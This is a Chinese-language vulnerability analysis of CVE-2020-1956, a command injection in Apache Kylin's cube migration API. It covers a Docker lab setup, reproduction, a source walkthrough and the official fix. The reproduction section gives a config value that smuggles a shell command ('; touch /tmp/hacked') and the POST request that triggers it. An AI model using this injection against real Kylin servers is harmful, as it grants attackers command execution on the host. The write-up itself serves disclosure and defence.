CVE-2020-1956 Apache kylin命令执行漏洞分析
参加工作一年分析的第一个Apache项目,分析文章为本人原创,转载请注明出处。
项目介绍
Apache Kylin是美国阿帕奇(Apache)软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供Hadoop/Spark之上的SQL查询接口及多维分析(OLAP)等功能。
项目地址
https://github.com/apache/kylin
漏洞概述
Apache Kylin中有一些Controller方法的参数与系统命令拼接成字符串的格式调用ProcessBuilder方法来完成某些功能。其中输入的可控的参数未进行合法的校验,导致攻击者输入恶意值触发远程命令执行。
影响版本
Kylin 2.3.0 to 2.3.2
Kylin 2.4.0 to 2.4.1
Kylin 2.5.0 to 2.5.2
Kylin 2.6.0 to 2.6.5
Kylin 3.0.0-alpha, Kylin 3.0.0-alpha2, Kylin 3.0.0-beta, Kylin 3.0.0, Kylin 3.0.1
环境搭建
1、本次复现使用了受影响的Kylin 3.0.1版本,直接拉取官方镜像:
docker pull apachekylin/apache-kylin-standalone:3.0.1
2、因为接下来要使用IDEA远程调试代码,所以要做端口映射(19001),启动命令如下:
docker run -d
-m 8G
-p 7070:7070
-p 8088:8088
-p 50070:50070
-p 8032:8032
-p 8042:8042
-p 16010:16010
-p 19001:19001
apachekylin/apache-kylin-standalone:3.0.1
3、远程调试需要保证运行环境代码和本地代码相同。在Kylin的Github仓库的releases页面下载3.0.1版本,解压后导入IDEA。
刚才在启动容器时已经开启了19001端口映射,此时Docker容器中没有开启远程调试。进入容器bash,修改/home/admin/apache-kylin-3.0.1-bin-hbase1x/bin/kylin.sh。
在启动命令添加如下命令:
此时Kylin是启动状态,先执行./kylin.sh stop以停止服务,再执行启动脚本/home/admin/entrypoint.sh,可连接到服务器的19001端口进行远程调试。
4、在IDEA中编辑Configurations,选择Remote并填写对应的主机和端口。
配置完成后点击Debug,当Console端出现如下提示,表明远程连接成功。
漏洞复现
1、登录系统,进入system模块
2、点击Set Config,在弹出的Update Config界面新增三条规则分别如下:
kylin.tool.auto-migrate-cube.enabled=true
kylin.tool.auto-migrate-cube.src-config=/home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.properties
kylin.tool.auto-migrate-cube.dest-config=/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/hacked; echo
分别点击Update,然后在Server Config中下拉查看config是否配置成功
3、构造一个POST请求,稍等片刻后返回200。
数据包如下:
POST /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate HTTP/1.1
Host: 172.25.4.233:7070
Accept: application/json, text/plain, /
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Referer: http://172.25.4.233:7070/kylin/models
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: project=null; JSESSIONID=08AD6554B6A74222AF970B696B344F8D
Connection: close
4、进入docker容器中的tmp目录下查看,hacked文件写入成功!
漏洞分析
1:漏洞入口在/rest/controller/CubeController.java的migrateCube方法。
构造好对应的POST包,对该方法打断点。此时传递的project为learn_kylin,随后进入migrateCute方法。
2、步入migrateCube,跟进到CubeService.java的migrateCute方法,1086行会获取Kylin的配置(这里红色箭头的值是因为在漏洞复现的第二步中我们已经设置了)。
1087行调用config对象的isAllowAutoMigrateCube进行判断,若返回False则程序会抛出异常。根据源码可知,kylin.tool.auto-migrate-cube.enabled的默认值为False,如果往下执行必须设置值为True。在上面漏洞复现第二步的Set Config中我们已经设置了值为True。
3、接着在1098、1099行会从config对象中获取srcCfgUri、dstCfgUri。
对象的属性分别如下,从源码可知默认值为空。
在1101、1102行判断取出的两个属性的值是否为空。
接着1106行会将projectName、srcCfgUri、dstCfgUri等参数直接拼接到cmd中,并在1111行执行,在整个过程中没有对projectName进行任何的校验,导致命令注入漏洞。并且,若能够控制srcCfgUri和dstCfgUri也是能够导致命令注入漏洞的。
4、步入execute方法。
跟进runRemoteCommand,这里调用了ProcessBuilder执行传入的command。
修复方式
官方已发布修复漏洞的commit如下:
在CubeService.java的migrateCube方法中,对projectName、srcCfgUri和dstCfgUri的值进行校验,校验规则如下:
checkParameter方法将传入的字符串中含有COMMAND_INJECT_REX属性定义的特殊字符替换为空。
Apache Kylin官方推荐的修复方案如下:
①Apache Kylin升级到 3.0.2 或 2.6.6 版本。
②将 kylin.tool.auto-migrate-cube.enabled 设置为 false 以禁用命令执行。
参考链接
https://lists.apache.org/thread/npo8mtv0qkbfdfz8yg9vhl2lg959q1zy
https://github.com/apache/kylin/commit/58fad56ac6aaa43c6bd8f962d7f2d84438664092